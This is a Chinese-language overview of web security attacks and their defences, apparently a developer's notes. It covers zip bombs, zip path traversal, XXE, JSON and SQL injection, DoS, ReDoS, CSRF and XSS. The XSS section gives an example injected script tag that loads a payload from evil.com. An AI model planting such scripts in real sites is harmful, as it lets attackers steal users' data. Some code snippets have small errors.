1.ZIP炸弹
zip炸弹就是一个高压缩比的zip文件,它本身可能只有几M或几十M的大小,但是解压缩之后会产生巨大的数据量,会解压到几十G的大小甚至更大,这种zip文件会对解压缩的系统造成严重的资源负担,影响目标系统业务甚至达到使系统崩溃的结果。
防范校验,步骤如下:
- 第一步,校验ZIP压缩包大小。
- 第二步,校验ZIP压缩包解压后的大小。
参考文档:zip炸弹和跨目录zip文件的构造
2.zip跨目录
zip跨目录与我们常见的跨目录问题类似,都是使用../
来进行相对路径的目录跨越,zip文件中携带含有../
的文件,在解压过程中这些文件名被解析成相对路径,解压后就会将这些文件传递到其他目录。
3.XML攻击
XXE
的漏洞都是因为对xml解析时允许引用外部实体,从而导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令
如果根本不需要inline DOCTYPE
声明,可直接使用以下属性将其完全禁用:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
目的是为了禁用xml中的inline DOCTYPE
声明,说白了就是禁用DTD
,不允许将外部实体包含在传入的 XML 文档中,从而防止XML实体注入(XML External Entities
攻击,利用能够在处理时动态构建文档的 XML 功能,注入外部实体)。
参考文档:
- xml注入攻击总结
- 不允许使用 DOCTYPE
- JAVA常见的XXE漏洞写法和防御
4.JSON 注入
JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源
,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。
String json = "{"\"specialchars\": \"~!@#$%^&*()_+{}:<>?`-=[];',./\"}";
- web安全之JSON
- json注入测试方法
5. SQL注入简介
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
6. DoS 拒绝服务攻击 & DDoS 分布式拒绝服务攻击
拒绝服务攻击(Denial-of-Service Attack
)亦称洪水攻击
,是一种网络攻击手法,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
分布式拒绝服务攻击(Distributed Denial-of-Service Attack
),是使用网络上两个或两个以上被攻陷的电脑作为 “僵尸” 向特定的目标发动 “拒绝服务” 式攻击。
DDoS攻击可以具体分成两种形式:
- 带宽消耗型攻击
- 资源消耗型攻击
常见攻击手段:
- SYN洪水攻击
SYN洪水攻击是利用TCP协议的缺陷,通过发送大量的半连接请求消耗资源,造成网络拥塞甚至宕机以达到攻击者不可告人的秘密。 - IP欺骗
这种攻击同样是利用TCP协议栈的漏洞,我们知道TCP协议有一个RST位用于连接出错时的复位。这种攻击利用IP欺骗,使得服务器将合法的用户连接复位,影响正常用户的使用。比如说现在有一个合法连接(172.111.222.123),攻击者构造一个TCP数据报,伪装自己的IP是172.111.222.123,并向服务器发送一个带RST位的数据报。服务器接收到后会认为该连接发生错误,将该连接从缓冲区中移除,所以正常用户只能重新发起连接。 - Land攻击
进行Land攻击时,黑客特别打造一个源地址和目标地址都被设置成某一个服务器的SYN包,此举将导致接受服务器向它自己的地址发送SYN-ACK消息,结果这个地址又发回ACK消息并创建一个空连接,每一个这样的连接都将保留直到超时。大量的连接将严重影响服务器性能。
7. ReDoS 正则表达式拒绝服务攻击
ReDoS(Regular expression Denial of Service)
正则表达式拒绝服务攻击。
开发人员使用了正则表达式来对用户输入的数据进行有效性校验, 当编写校验的正则表达式存在缺陷或者不严谨时, 攻击者可以构造特殊的字符串来大量消耗服务器的系统资源,造成服务器的服务中断或停止。
防范手段
防范手段只是为了降低风险而不能百分百消除 ReDoS 这种威胁。当然为了避免这种威胁的最好手段是尽量减少正则在业务中的使用场景或者多做测试, 增加服务器的性能监控等。
- 降低正则表达式的复杂度, 尽量少用分组
- 严格限制用户输入的字符串长度(特定情况下)
- 使用单元测试、fuzzing 测试保证安全
- 使用静态代码分析工具, 如: sonar
- 添加服务器性能监控系统, 如: zabbix
浅析ReDoS的原理与实践
8.CSRF攻击
CSRF(Cross Site Request Forgery)
攻击,即跨站请求伪造,是一种常见的Web攻击。
攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。
一个典型的CSRF攻击有着如下的流程:
- 受害者登录a.com,并保留了登录凭证(Cookie)。
- 攻击者引诱受害者访问了b.com。
- b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会…
- a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
- a.com以受害者的名义执行了act=xx。
- 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作。
防范方法:
- 对于POST请求使用验证码,这个方案可以完全杜绝CSRF攻击,但验证码过多会使用户体验很差,所以可以对敏感操作加验证码。
- 非GET请求中添加token,当客户端请求页面,服务器渲染页面时给每个表单生成一个随机数token,并且将token放置到session当中,然后将token发给客户端(一般通过构造hidden表单)。下次客户端提交请求时,token会随着表单一起提交到服务器端。接收到请求后,服务器端会对token值进行验证,判断是否和session中的token值相等,如果不相等则拒绝访问。
- 同源检测
如何防止CSRF攻击?
9.XSS漏洞
XSS(Cross Site Scripting)
,跨站脚本攻击,为了与层叠样式表(一般意义上的CSS)区别开,将其缩写为XSS。
XSS的原理是黑客向Web页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而可以达到黑客盗取用户信息或其他侵犯用户安全隐私的目的。XSS漏洞主要分为持久型XSS漏洞和非持久性XSS漏洞。
举个例子:
原有的网站有个将数据库中的数据显示到页面的上功能,document.write("data from server")
。但如果服务器没有验证数据类型,直接接受任何数据时,攻击者可以会将 <script src='http:bad-script.js'></scirpt>
当做一个数据写入数据库。当其他用户请求这个数据时,网站原有的脚本就会执行 document.write("<script src='http://www.evil.com/bad-script.js'></scirpt>")
,这样,便会执行 bad-script.js。如果攻击者在这段第三方的脚本中写入恶意脚本,那么普通用户便会受到攻击。
解决方法:
- 从客户端和服务器端双重验证所有的输入数据,这一般能阻挡大部分注入的脚本
- 对所有的数据进行适当的编码